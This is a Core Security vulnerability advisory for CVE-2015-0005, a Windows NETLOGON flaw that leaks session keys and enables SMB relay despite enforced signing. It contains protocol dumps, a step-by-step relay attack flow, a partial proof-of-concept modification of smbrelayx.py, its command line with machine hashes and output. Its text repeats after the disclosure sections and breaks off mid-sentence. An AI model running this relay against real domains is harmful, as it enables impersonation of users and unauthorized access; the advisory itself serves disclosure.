Core Security - Corelabs Advisory
http://corelabs.coresecurity.
Windows Pass-Through Authentication Methods Improper Validation
1. *Advisory Information*
Title: Windows Pass-Through Authentication Methods Improper Validation
Advisory ID: CORE-2015-0005
Advisory URL: http://www.coresecurity.com/
Date published: 2015-03-10
Date of last update: 2015-03-10
Vendors contacted: Microsoft
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Permissions, Privileges, and Access Controls [CWE-264], Improper Authentication [CWE-287]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-0005
3. *Vulnerability Description*
The Microsoft [1] Netlogon Remote Protocol is a remote procedure call (RPC) interface that is used, among other
things, for user and machine authentication on domain-based networks.
In a scenario where a client machine connects to a domain-joined server, a pass-through authentication
[2] must be performed in order for the server to verify the client's Credentials with the domain controller. This logon
request must be delivered to the domain controller over a secure channel. This secure channel is achieved by encrypting
the server to DC communication using a shared secret, commonly known as a server's machine account password.
On successful authentication, the domain controller returns the UserSessionKey back to the server. This key is used for
cryptographic operations on a session. Examples of the use of this key are generating the keys needed to signing SMB
packets, and the keys needed for encryption/decryption of SMB sessions.
Improper validation between the account used to secure the communication channel and the logon request data being
sent to the domain controller allows third parties to obtain the UserSessionKey for communications that were not
meant for them.
At minimum this allows an attacker to:
1) Perform SMB Relay attacks on domain environments where SMB Signing is enforced (workaround exists).
2) Decrypt SMB3 sniffed communications (PoC not provided).
Other venues of attack should be researched.
4. *Vulnerable Packages*
. Windows Server 2003 Service Pack 2
. Windows Server 2003 x64 Edition Service Pack 2
. Windows Server 2003 with SP2 for Itanium-based Systems
. Windows Server 2008 for 32-bit Systems with Service Pack 2
. Windows Server 2008 for x64-based Systems with Service Pack 2
. Windows Server 2008 for Itanium-based Systems Service Pack 2
. Windows Server 2008 R2 for x64-based Systems Service Pack 1
. Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
. Windows Server 2012
. Windows Server 2012 R2
. Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
. Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
. Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
. Windows Server 2012 (Server Core installation)
. Windows Server 2012 R2 (Server Core installation)
Versions or editions that are not listed are either past their support life cycle or are not affected.
5. *Vendor Information, Solutions and Workarounds*
Based on Core Security's analysis, SPN validation could be a good countermeasure, but it depends on the type of
MiTM mounted. It is worth mentioning, this attack only applies on a domain environment. Standalone servers are not
prone to this type of attack if SMB signing is enabled.
Microsoft posted the following Security Bulletin: [21]
6. *Credits*
This vulnerability was discovered and researched by Alberto Solino from the Core Engeneering Team. The publication of
this advisory was coordinated by Joaquín Rodríguez Varela from the Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
Pass-Through Authentication allows a domain-joined server machine to authenticate a domain user by forwarding the
authentication material to the domain controller aiming at receiving a confirmation of the validity of those
credentials, among with several information about the account trying to log in that allows the server machine to
establish a session and serve resources to that user. In order to send and receive this information (through the
NETLOGON [3] protocol), a secure channel must be established between the domain-joined server and the domain
controller. This secure channel is built on top of a shared secret between the server and the DC, commonly known
as a server's machine account password. Actually, the shared secret is not based on the server's machine account
password but on the output of the LMOWFv1/NTOWFv1 [4] functions (a.k.a NTLM hashes).
Once this channel is secured, the following NETLOGON methods are used for a Pass-Through Authentication:
1) NetrLogonSamLogonEx
2) NetrLogonSamLogonWithFlags
3) NetrLogonSamLogon
4) NetrLogonSamLogoff
Let's take for example, the sequence of authenticating through the network a domain user against a domain-joined
server, using the NTLM authentication package. The domain is called 2012R2:
1) Client MACHINE-A wants to connect to domain-joined WINDOWS81 machine, with user 2012R2\USER3, using NTLM.
2) Client MACHINE-A initiates a connection to WINDOWS81, port 445. NTLM protocol is chosen as the authentication
mechanism.
3) The NTLM 3-way handshake begins [5]. This ends up with a NTLM_AUTHENTICATE packet sent by MACHINE-A to WINDOWS81.
4) Since WINDOWS81 doesn't have the credentials for 2012R2\USER3, it needs to verify them with the DC.
5) WINDOWS81 has a trust relationship with the DC by means of WINDOWS81's computer account (let's call it
WINDOWS81$). Using the NETLOGON protocol, WINDOWS81 calls NetrLogonSamLogonWithFlags() at the DC, specifying
all the data coming from USER3's NTLM_AUTHENTICATE plus the NTLM Challenge set in previous packets. An example of
such call is as follows:
/-----
NetrLogonSamLogonWithFlags
LogonServer: u'\x00'
ComputerName: u'WINDOWS81\x00'
Authenticator:
Credential:
Data: 'f\xcd\x94]&\nz\x85'
Timestamp: 10
ReturnAuthenticator:
Credential:
Data: '\x00\x00\x00\x00\x00\x00\x00\
Timestamp: 0
LogonLevel: NetlogonNetworkTransitiveInfor
LogonInformation:
tag: 6
LogonNetworkTransitive:
Identity:
LogonDomainName: u'2012R2'
ParameterControl: 0
Reserved:
LowPart: 0
HighPart: 0
UserName: u'user3'
Workstation: u''
LmChallenge:
Data: '\x1a\xab8\xa4.E\x98\xe3'
NtChallengeResponse: '\xd9\x94"\xd1C\xd9CT\xa3\x12\
\x01?9N\x1a\xe1\x1f\xfa-\x00\
\x00\x04\x00\x1a\x002\x000\
\x002\x000\x001\x002\x00R\
\x00\x07\x00\x08\x00N\x8b\
\x00\xac>qS+\x9a\xb9x\xbe\xa0\
\x00\x00\x00\t\x00&\x00c\x00i\
\x00\x00\x00\x00\x00'
LmChallengeResponse: '\x00\x00\x00\x00\x00\x00\x00\
ValidationLevel: NetlogonValidationSamInfo4
ExtraFlags: 0
-----/
6) DC receives the information, and since it has USER3 credentials, it can verify whether or not the credentials
are valid. NetrLogonSamLogonWithFlags() returns STATUS_SUCCESS if so, otherwise it return an error.
7) If NetrLogonSamLogonWithFlags() SUCCEEDS, the server returns a NETLOGON_VALIDATION structure, which could end
up being one of the following structures:
a. NETLOGON_VALIDATION_SAM_INFO [6]
b. NETLOGON_VALIDATION_SAM_INFO2 [7]
c. NETLOGON_VALIDATION_SAM_INFO4 [8]
The data inside those structures are needed by WINDOWS81 to further continue the session and share resources with USER3.
An example of the data returned by NetrLogonSamLogonWithFlags() is shown below:
/-----
NetrLogonSamLogonWithFlagsResp
ReturnAuthenticator:
Credential:
Data: '[\\\x85\xf2\x84@~\x17'
Timestamp: 0
ValidationInformation:
tag: 6
ValidationSam4:
LogonTime:
LowPart: 4069189522
HighPart: 30393876
LogoffTime:
LowPart: 4294967295
HighPart: 2147483647
KickOffTime:
LowPart: 4294967295
HighPart: 2147483647
PasswordLastSet:
LowPart: 738500373
HighPart: 30393272
PasswordCanChange:
LowPart: 1450073877
HighPart: 30393473
PasswordMustChange:
LowPart: 4294967295
HighPart: 2147483647
EffectiveName: u'user3'
FullName: NULL
LogonScript: NULL
ProfilePath: NULL
HomeDirectory: NULL
HomeDirectoryDrive: NULL
LogonCount: 5
BadPasswordCount: 0
UserId: 1113
PrimaryGroupId: 513
GroupCount: 2
GroupIds:
[
RelativeId: 512
Attributes: 7 ,
RelativeId: 513
Attributes: 7 ,
]
UserFlags: 2336
UserSessionKey:
Data: '\xb1\x8eg\x91\xfdK\x9d\xd0\
LogonServer: u'2012R2DOMAIN-DC'
LogonDomainName: u'2012R2'
LogonDomainId:
Revision: 1
SubAuthorityCount: 4
IdentifierAuthority: '\x00\x00\x00\x00\x00\x05'
SubAuthority:
[
21,
1456083388,
2901136423,
1501488623,
]
LMKey: '\xb1\x8eg\x91\xfdK\x9d\xd0'
UserAccountControl: 528
SubAuthStatus: 0
LastSuccessfulILogon:
LowPart: 0
HighPart: 0
LastFailedILogon:
LowPart: 0
HighPart: 0
FailedILogonCount: 0
Reserved4: 0
SidCount: 1
ExtraSids:
[
Sid:
Revision: 1
SubAuthorityCount: 5
IdentifierAuthority: '\x00\x00\x00\x00\x00\x05'
SubAuthority:
[
21,
1456083388,
2901136423,
1501488623,
572,
]
Attributes: 536870919 ,
]
DnsLogonDomainName: u'2012R2.DOMAIN'
Upn: u'user3@2012R2.DOMAIN'
ExpansionString1: NULL
ExpansionString2: NULL
ExpansionString3: NULL
ExpansionString4: NULL
ExpansionString5: NULL
ExpansionString6: NULL
ExpansionString7: NULL
ExpansionString8: NULL
ExpansionString9: NULL
ExpansionString10: NULL
Authoritative: 1
ExtraFlags: 0
ErrorCode: 0
-----/
As can be seen, there's a field called UserSessionKey. According to [9]:
The NETLOGON_NETWORK_INFO and NETLOGON_VALIDATION_SAM_INFO4 data structures SHOULD be exchanged ([MS-NRPC] sections
2.2.1.4.5 and 2.2.1.4.13). The DC MUST populate the NETLOGON_VALIDATION_SAM_INFO4 with the information for the user
logging on and return the SessionBaseKey ([MS-NLMP] section 3.3.1 and 3.3.2) in the UserSessionKey field in
NETLOGON_VALIDATION_SAM_INFO4, and MUST send it back to the NTLM server. If no matching account is found, an error
STATUS_NO_SUCH_USER (section 2.2) MUST be returned to the NTLM server, resulting in a logon failure.'
This SessionBaseKey is used as a base key for cryptographic operations between the client and server machine.
Since the calculation of this key requires knowing the user's LMOWFv1/NTOWFv1, it makes sense the domain controller
returning this data, since WINDOWS81 doesn't have the user's credentials.
The SessionBaseKey is used, at least, to calculate the SMB Signing [10] and Encryption [11] keys.
Up to this stage, this is the normal behavior when a server needs to authenticate a client with domain credentials.
Based on [13] the NetrLogonSamLogonWithFlags's ComputerName parameter is defined as 'The Unicode string that
contains the NetBIOS name of the client computer calling this method.' In theory, the ComputerName parameter and
the machine account that established the NETLOGON session should be the same (except for the '$' sign).
What we found while implementing the NETLOGON protocol [12] is the domain controller not verifying whether the
authentication information being sent, was actually meant to the domain-joined machine that is requesting
this operation (e.g. NetrLogonSamLogonWithFlags()).
What this means is that any domain-joined machine can verify any pass-through authentication against the domain
controller, and to get the base key for cryptographic operations for any session within the domain.
As a proof of concept we developed the SMB Relay attack whenever SMB Signing is enforced within the domain.
SMB Relay (actually NTLM Relay) has been well documented over the years, but in essence allows an attacker
that manages to sit in the middle between a victim and a target server to impersonate the victim against the
target server.
One of the mitigations mentioned on several papers is the implementation of SMB Signing [14][15], since, in
order to calculate the signing key, the attacker needs to have the user's password OWF (LMOWFv1 and/or NTOWFv1).
To carry out this attack, we would need a machine account password (or NTLM hash) in order to interact
with the domain controller through NETLOGON. Getting a machine account credential is not a complicated
task if an attacker has either:
1) Local Administrative access to one domain joined machine (several tools can dump the local SAM accounts [16]).
2) A normal domain user (so it can perform a fake domain join).
The high level flow would be as follows:
Assumptions:
1) We have a machine account's LMOWFv1/NTOWFv1 hashes (called MACHINE-ACCOUNT hashes).
2) We know the DC IP address or FQDN (called DC-MACHINE).
3) We targeted a victim user (called USER-A), tricking him into connecting to our machine
(ATTACKER-MACHINE) with his domain credentials.
4) We want to authenticate ourselves with the USER-A credentials against a target machine (called TARGET-MACHINE).
5) This domain environment enforces SMB Signing.
The packet's flow would be like this:
1) USER-A connects to ATTACKER-MACHINE, starts an SMB Connection.
2) ATTACKER-MACHINE connects to TARGET-MACHINE, starts an SMB Connection, and gets TARGET-MACHINE
SMB_COM_NEGOTITATE response.
3) ATTACKER-MACHINE forwards the SMB_COM_NEGOTIATE packet back to USER-A.
4) USER-A starts the SMB_SESSION_SETUP_ANDX procedure, sending the NTLM_NEGOTIATE packet.
5) ATTACKER-MACHINE forwards the NTLM_NEGOTIATE packet to TARGET-MACHINE, and receives a NTLM_CHALLENGE.
6) ATTACKER-MACHINE forwards the NTLM_CHALLENGE back to USER-A.
7) USER-A sends a NTLM_AUTHENTICATE message to ATTACKER-MACHINE.
8) ATTACKER-MACHINE forwards the NTLM_AUTHENTICATE message to TARGET-MACHINE. If the answer is
STATUS_SUCCESS, it means the credentials are valid.
Up to here, this is a normal SMB Relay attack. The following steps are performed in order to acquire
the SMB Signing key
9) ATTACKER-MACHINE connects to DC-MACHINE NETLOGON's protocol, authenticating itself using
MACHINE-ACCOUNT hashes.
10) ATTACKER-MACHINE calls NETLOGON's NetrLogonSamLogonWithFlags() specifying the following information:
a. ComputerName: TARGET-MACHINE
b. ValidationLevel: NETLOGON_VALIDATION_INFO_
c. LogonLevel: NETLOGON_VALIDATION_INFO_
d. LogonNetworkTransitive/
e. LogonNetworkTransitive/
f. LogonNetworkTransitive/
g. LogonNetworkTransitive/
h. LogonNetworkTransitive/
i. LogonNetworkTransitive/
j. LogonNetworkTransitive/
11) The return of this call will contain a NETLOGON_VALIDATION_SAM_INFO4 structure, that contains, among other
things, the UserSessionKey. Depending on the negotiation flags, this could be the straight SMB Signing key, or
an extra transformation should be made (calling generateEncryptedSessionKey())
12) Attacker now has a valid connection with TARGET-MACHINE, authenticated as USER-A, and now has the
SMB Signing key needed to perform further SMB commands against TARGET-MACHINE.
7.1. *Proof of Concept*
In order to test this attack the following infrastructure is needed:
1) A domain controller, exporting the SYSVOL share to normal users (this is just for the PoC).
Domain Name: TESTDOMAIN, Domain IP: 192.168.1.100.
2) A domain joined machine, acting as the victim machine. A domain user must be logged on that machine.
(IP: 192.168.1.220)
3) An attackers machine, doesn't need to be joined to the domain. Since we will be performing the attack from this
machine, we will need to bind to TCP port 445. Using a Unix machine would be the easiest way since on Windows this
is harder. Attacker's Machine IP: 192.168.1.200
4) A valid machine account name and NTLM hashes. Assuming it is:
a. account name: TEST-MACHINE$
b. NTHASH/LMHASH: aad3b435b51404eeaad3b435b51404
The machine NTLM hashes can be obtained by using any publicly available LSA secrets dump application.[10]
5) The smbrelayx.py script [17] and the impacket library installed [18].
6) Change smbrelayx.py doAttack() class to the following:
/-----
class doAttack(Thread):
def __init__(self, SMBClient, exeFile):
Thread.__init__(self)
self.SMBClient = SMBClient
def run(self):
# Here PUT YOUR CODE!
from impacket.smbconnection import SMBConnection
smbConnection = SMBConnection(
files = smbConnection.listPath('
print "EVIDENCE: SYSVOL's contents!"
for file in files:
print file.get_longname()
smbConnection.logoff()
-----/
Usage:
From the attackers machine run:
/-----
python smbrelayx.py -h 192.168.1.100 -e NOTHING -machine-account TESTDOMAIN/TEST-MACHINE\$ -machine-hashes aad3b435b51404eeaad3b435b51404
-----/
From the victim's machine, with a valid domain user logged in, run from the command prompt:
/-----
dir \\192.168.1.200\c$
-----/
At the smbrelayx.py execution, you will see:
/-----
Impacket v0.9.12 - Copyright 2002-2014 Core Security Technologies
[*] Running in relay mode
[*] Config file parsed
[*] Setting up SMB Server
[*] Servers started, waiting for connections
[*] Incoming connection (192.168.1.220,58702)
[*] SMBD: Received connection from 192.168.1.220, attacking target 192.168.1.100
[*] Signature is REQUIRED on the other end, using NETLOGON approach
[*] Connecting to 192.168.1.100 NETLOGON service
[*] TESTDOMAIN\usera successfully validated through NETLOGON
[*] SMB Signing key: 3b8aa5a6cde5175acf676ba312b624
[*] Authenticating against 192.168.1.100 as TESTDOMAIN\usera SUCCEED
[!] TreeConnectAndX not found C$
[!] TreeConnectAndX not found C$
EVIDENCE: SYSVOL's contents!
.
..
TESTDOMAIN
----
-----/
If you want to perform more actions instead of just listing the SYSVOL contents, check the doAttack.run() method
inside smbrelayx.py
8. *Report Timeline*
. 2014-05-27:
Core Security sent the first notification to Microsoft, including a technical description
and a Proof of Concept to reproduce the vulnerability. Publication date set to Jun 30, 2014.
. 2014-05-27:
Microsoft assigns the tracking number 19179 and informs their team will be investigating
our report.
. 2014-06-25:
Core Security requested an update on the investigations and expressed we are still planning to release the
advisory on June 30th.
. 2014-07-03:
Core Security requested an update on the investigations and expressed we decided to postpone the release date
from June 30th to July 10th giving additional time to reply back.
. 2014-07-07:
Microsoft claims the issue has been publicly know since 2009 and the advisories
[19] and [20].
. 2014-07-09:
Microsoft informs that took another look to the issue and thinks there may be a bigger
problem than just the NTLM as they previously stated. Requests to hold off the publishing
of the advisory.
. 2014-07-15:
Core Security insists that SMB Signing is not an effective way of mitigating this problem as
demonstrated in the PoC sent in the original report. We inform we decided not to publish a
advisory but we will write a blog post with the technical description.
. 2014-07-24:
Core Security informed that we will publish the blog and related tools on August 4th, considering we didn't
receive a reply.
. 2014-07-28:
Microsoft informs they were able to reproduce the issue and are working on a fix. They request
if possible to hold off CORE Security's publication.
. 2014-08-12:
Core Security, considering their acknowledgment of the issue, will be publishing an advisory. Core Security
requested a tentative ETA for making the advisory public.
. 2014-08-18:
Microsoft informs they don't have an ETA but are working to define one. Microsoft request a draft of
the advisory.
. 2014-08-20:
Core Security informed Microsoft that will be sending them a draft copy of the Advisory next week.
. 2014-09-11:
Core Security sent a draf version of the advisory.
. 2014-09-23:
Core Security requested a reception confirmation of the draft version of the advisory.
. 2014-09-24:
Microsoft confirms reception. They inform they are tentatively scheduling a December release.
. 2014-10-23:
Core Security requested the specific date for releasing the fix in order to schedule the advisory
accordingly.
. 2014-11-03:
Microsoft informs that they are planning a January release but it could change if they find
variants or run into issues on their test pass.
. 2014-11-05:
Core Security requested the vendor that we would like to respect the original release date considering
that the issue was originally reported on the 27 of May, 2014.
. 2014-11-10:
Microsoft informs that they are expecting to ship the fix in January because they have other
deployment priorities.
. 2014-12-16:
Core Security requested the vendor a specific date for the release of the fix and we inform them that
we are planning to release the advisory on Tuesday 13th of January, 2015.
. 2015-01-02:
Microsoft informs that they are not going to meet the expectations for a fix in January because
they require to fix the NETLOGON API, and during its application compatibility testing they
identified a major service provider that is affected by their fix.
. 2015-02-24:
Core Security requested the vendor an updated time frame for publishing the fix of the bug.
. 2015-02-27:
Microsoft informs that they currently finalizing the final test pass and that they should have a
concrete date for next week. At the moment they have it scheduled for March 10th, 2015. They
request as well how we would lke to be credited in the Bulletin.
. 2015-03-02:
Core Security informed them how we would like to be credited and requested them a daft copy of their
Bulletin and a copy of the fix in order to make internal tests.
. 2015-03-02:
Microsoft informs us that they cannot share packages early unless we are under NDA with them and
in the SUVP program.
. 2015-03-03:
Core Security informed them that we were disappointed by their response considering that we have been
cooperating with them for more than 9 months and have disclosed higly confidential information
with them. We informed them that we are going to publish the advisory on March 10th.
. 2015-03-09:
Microsoft confirmed us that their Security Bulletin was going to be published March 10th, 10:00 AM EST.
They requested Core Security to ckeck the acknowledgment they were going to use.
. 2015-03-09:
Core Security thanked Microsoft for the information provided and informed them how the Advisory should be
acknowledged. Core Security requested Microsoft a CVE ID, considering they are listed as a CVE Numbering
Authority. Core Security sent them the link of were our advisory is going to be published.
. 2015-03-09:
Microsoft issued the CVE-2015-0005 and ask Core Security if we wanted them to link our Advisory in their
acknowledgment.
. 2015-03-09:
Core Security requested, that if possible, they could link our advisory in the acknowledgment.
. 2015-03-10:
Advisory CORE-2015-0005 published.
9. *References*
[1] http://www.microsoft.com/.
[2] http://msdn.microsoft.com/en-
[3] http://msdn.microsoft.com/en-
[4] http://msdn.microsoft.com/en-
[5] http://msdn.microsoft.com/en-
[6] http://msdn.microsoft.com/es-
[7] http://msdn.microsoft.com/es-
[8] http://msdn.microsoft.com/en-
[9] http://msdn.microsoft.com/en-
[10] http://msdn.microsoft.com/en-
[11] http://msdn.microsoft.com/en-
[12] https://code.google.com/p/
[13] https://msdn.microsoft.com/en-
[14] http://blogs.technet.com/b/
[15] http://technet.microsoft.com/
[16] https://code.google.com/p/
[17] https://code.google.com/p/
[18] https://code.google.com/p/
[19] https://technet.microsoft.com/
[20] https://technet.microsoft.com/
[21] https://technet.microsoft.com/
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.
11. *About Core Security*
Core Security enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.
12. *Disclaimer*
The contents of this advisory are copyright
(c) 2015 Core Security and (c) 2015 CoreLabs,
and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/
http://corelabs.coresecurity.
Windows Pass-Through Authentication Methods Improper Validation
1. *Advisory Information*
Title: Windows Pass-Through Authentication Methods Improper Validation
Advisory ID: CORE-2015-0005
Advisory URL: http://www.coresecurity.com/
Date published: 2015-03-10
Date of last update: 2015-03-10
Vendors contacted: Microsoft
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Permissions, Privileges, and Access Controls [CWE-264], Improper Authentication [CWE-287]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-0005
3. *Vulnerability Description*
The Microsoft [1] Netlogon Remote Protocol is a remote procedure call (RPC) interface that is used, among other
things, for user and machine authentication on domain-based networks.
In a scenario where a client machine connects to a domain-joined server, a pass-through authentication
[2] must be performed in order for the server to verify the client's Credentials with the domain controller. This logon
request must be delivered to the domain controller over a secure channel. This secure channel is achieved by encrypting
the server to DC communication using a shared secret, commonly known as a server's machine account password.
On successful authentication, the domain controller returns the UserSessionKey back to the server. This key is used for
cryptographic operations on a session. Examples of the use of this key are generating the keys needed to signing SMB
packets, and the keys needed for encryption/decryption of SMB sessions.
Improper validation between the account used to secure the communication channel and the logon request data being
sent to the domain controller allows third parties to obtain the UserSessionKey for communications that were not
meant for them.
At minimum this allows an attacker to:
1) Perform SMB Relay attacks on domain environments where SMB Signing is enforced (workaround exists).
2) Decrypt SMB3 sniffed communications (PoC not provided).
Other venues of attack should be researched.
4. *Vulnerable Packages*
. Windows Server 2003 Service Pack 2
. Windows Server 2003 x64 Edition Service Pack 2
. Windows Server 2003 with SP2 for Itanium-based Systems
. Windows Server 2008 for 32-bit Systems with Service Pack 2
. Windows Server 2008 for x64-based Systems with Service Pack 2
. Windows Server 2008 for Itanium-based Systems Service Pack 2
. Windows Server 2008 R2 for x64-based Systems Service Pack 1
. Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
. Windows Server 2012
. Windows Server 2012 R2
. Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
. Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
. Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
. Windows Server 2012 (Server Core installation)
. Windows Server 2012 R2 (Server Core installation)
Versions or editions that are not listed are either past their support life cycle or are not affected.
5. *Vendor Information, Solutions and Workarounds*
Based on Core Security's analysis, SPN validation could be a good countermeasure, but it depends on the type of
MiTM mounted. It is worth mentioning, this attack only applies on a domain environment. Standalone servers are not
prone to this type of attack if SMB signing is enabled.
Microsoft posted the following Security Bulletin: [21]
6. *Credits*
This vulnerability was discovered and researched by Alberto Solino from the Core Engeneering Team. The publication of
this advisory was coordinated by Joaquín Rodríguez Varela from the Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
Pass-Through Authentication allows a domain-joined server machine to authenticate a domain user by forwarding the
authentication material to the domain controller aiming at receiving a confirmation of the validity of those
credentials, among with several information about the account trying to log in that allows the server machine to
establish a session and serve resources to that user. In order to send and receive this information (through the
NETLOGON [3] protocol), a secure channel must be established between the domain-joined server and the domain
controller. This secure channel is built on top of a shared secret between the server and the DC, commonly known
as a server's machine account password. Actually, the shared secret is not based on the server's machine account
password but on the output of the LMOWFv1/NTOWFv1 [4] functions (a.k.a NTLM hashes).
Once this channel is secured, the following NETLOGON methods are used for a Pass-Through Authentication:
1) NetrLogonSamLogonEx
2) NetrLogonSamLogonWithFlags
3) NetrLogonSamLogon
4) NetrLogonSamLogoff
Let's take for example, the sequence of authenticating through the network a domain user against a domain-joined
server, using the NTLM authentication package. The domain is called 2012R2:
1) Client MACHINE-A wants to connect to domain-joined WINDOWS81 machine, with user 2012R2\USER3, using NTLM.
2) Client MACHINE-A initiates a connection to WINDOWS81, port 445. NTLM protocol is chosen as the authentication
mechanism.
3) The NTLM 3-way handshake begins [5]. This ends up with a NTLM_AUTHENTICATE packet sent by MACHINE-A to WINDOWS81.
4) Since WINDOWS81 doesn't have the credentials for 2012R2\USER3, it needs to verify them with the DC.
5) WINDOWS81 has a trust relationship with the DC by means of WINDOWS81's computer account (let's call it
WINDOWS81$). Using the NETLOGON protocol, WINDOWS81 calls NetrLogonSamLogonWithFlags() at the DC, specifying
all the data coming from USER3's NTLM_AUTHENTICATE plus the NTLM Challenge set in previous packets. An example of
such call is as follows:
/-----
NetrLogonSamLogonWithFlags
LogonServer: u'\x00'
ComputerName: u'WINDOWS81\x00'
Authenticator:
Credential:
Data: 'f\xcd\x94]&\nz\x85'
Timestamp: 10
ReturnAuthenticator:
Credential:
Data: '\x00\x00\x00\x00\x00\x00\x00\
Timestamp: 0
LogonLevel: NetlogonNetworkTransitiveInfor
LogonInformation:
tag: 6
LogonNetworkTransitive:
Identity:
LogonDomainName: u'2012R2'
ParameterControl: 0
Reserved:
LowPart: 0
HighPart: 0
UserName: u'user3'
Workstation: u''
LmChallenge:
Data: '\x1a\xab8\xa4.E\x98\xe3'
NtChallengeResponse: '\xd9\x94"\xd1C\xd9CT\xa3\x12\
\x01?9N\x1a\xe1\x1f\xfa-\x00\
\x00\x04\x00\x1a\x002\x000\
\x002\x000\x001\x002\x00R\
\x00\x07\x00\x08\x00N\x8b\
\x00\xac>qS+\x9a\xb9x\xbe\xa0\
\x00\x00\x00\t\x00&\x00c\x00i\
\x00\x00\x00\x00\x00'
LmChallengeResponse: '\x00\x00\x00\x00\x00\x00\x00\
ValidationLevel: NetlogonValidationSamInfo4
ExtraFlags: 0
-----/
6) DC receives the information, and since it has USER3 credentials, it can verify whether or not the credentials
are valid. NetrLogonSamLogonWithFlags() returns STATUS_SUCCESS if so, otherwise it return an error.
7) If NetrLogonSamLogonWithFlags() SUCCEEDS, the server returns a NETLOGON_VALIDATION structure, which could end
up being one of the following structures:
a. NETLOGON_VALIDATION_SAM_INFO [6]
b. NETLOGON_VALIDATION_SAM_INFO2 [7]
c. NETLOGON_VALIDATION_SAM_INFO4 [8]
The data inside those structures are needed by WINDOWS81 to further continue the session and share resources with USER3.
An example of the data returned by NetrLogonSamLogonWithFlags() is shown below:
/-----
NetrLogonSamLogonWithFlagsResp
ReturnAuthenticator:
Credential:
Data: '[\\\x85\xf2\x84@~\x17'
Timestamp: 0
ValidationInformation:
tag: 6
ValidationSam4:
LogonTime:
LowPart: 4069189522
HighPart: 30393876
LogoffTime:
LowPart: 4294967295
HighPart: 2147483647
KickOffTime:
LowPart: 4294967295
HighPart: 2147483647
PasswordLastSet:
LowPart: 738500373
HighPart: 30393272
PasswordCanChange:
LowPart: 1450073877
HighPart: 30393473
PasswordMustChange:
LowPart: 4294967295
HighPart: 2147483647
EffectiveName: u'user3'
FullName: NULL
LogonScript: NULL
ProfilePath: NULL
HomeDirectory: NULL
HomeDirectoryDrive: NULL
LogonCount: 5
BadPasswordCount: 0
UserId: 1113
PrimaryGroupId: 513
GroupCount: 2
GroupIds:
[
RelativeId: 512
Attributes: 7 ,
RelativeId: 513
Attributes: 7 ,
]
UserFlags: 2336
UserSessionKey:
Data: '\xb1\x8eg\x91\xfdK\x9d\xd0\
LogonServer: u'2012R2DOMAIN-DC'
LogonDomainName: u'2012R2'
LogonDomainId:
Revision: 1
SubAuthorityCount: 4
IdentifierAuthority: '\x00\x00\x00\x00\x00\x05'
SubAuthority:
[
21,
1456083388,
2901136423,
1501488623,
]
LMKey: '\xb1\x8eg\x91\xfdK\x9d\xd0'
UserAccountControl: 528
SubAuthStatus: 0
LastSuccessfulILogon:
LowPart: 0
HighPart: 0
LastFailedILogon:
LowPart: 0
HighPart: 0
FailedILogonCount: 0
Reserved4: 0
SidCount: 1
ExtraSids:
[
Sid:
Revision: 1
SubAuthorityCount: 5
IdentifierAuthority: '\x00\x00\x00\x00\x00\x05'
SubAuthority:
[
21,
1456083388,
2901136423,
1501488623,
572,
]
Attributes: 536870919 ,
]
DnsLogonDomainName: u'2012R2.DOMAIN'
Upn: u'user3@2012R2.DOMAIN'
ExpansionString1: NULL
ExpansionString2: NULL
ExpansionString3: NULL
ExpansionString4: NULL
ExpansionString5: NULL
ExpansionString6: NULL
ExpansionString7: NULL
ExpansionString8: NULL
ExpansionString9: NULL
ExpansionString10: NULL
Authoritative: 1
ExtraFlags: 0
ErrorCode: 0
-----/
As can be seen, there's a field called UserSessionKey. According to [9]:
The NETLOGON_NETWORK_INFO and NETLOGON_VALIDATION_SAM_INFO4 data structures SHOULD be exchanged ([MS-NRPC] sections
2.2.1.4.5 and 2.2.1.4.13). The DC MUST populate the NETLOGON_VALIDATION_SAM_INFO4 with the information for the user
logging on and return the SessionBaseKey ([MS-NLMP] section 3.3.1 and 3.3.2) in the UserSessionKey field in
NETLOGON_VALIDATION_SAM_INFO4, and MUST send it back to the NTLM server. If no matching account is found, an error
STATUS_NO_SUCH_USER (section 2.2) MUST be returned to the NTLM server, resulting in a logon failure.'
This SessionBaseKey is used as a base key for cryptographic operations between the client and server machine.
Since the calculation of this key requires knowing the user's LMOWFv1/NTOWFv1, it makes sense the domain controller
returning this data, since WINDOWS81 doesn't have the user's credentials.
The SessionBaseKey is used, at least, to calculate the SMB Signing [10] and Encryption [11] keys.
Up to this stage, this is the normal behavior when a server needs to authenticate a client with domain credentials.
Based on [13] the NetrLogonSamLogonWithFlags's ComputerName parameter is defined as 'The Unicode string that
contains the NetBIOS name of the client computer calling this method.' In theory, the ComputerName parameter and
the machine account that established the NETLOGON session should be the same (except for the '$' sign).
What we found while implementing the NETLOGON protocol [12] is the domain controller not verifying whether the
authentication information being sent, was actually meant to the domain-joined machine that is requesting
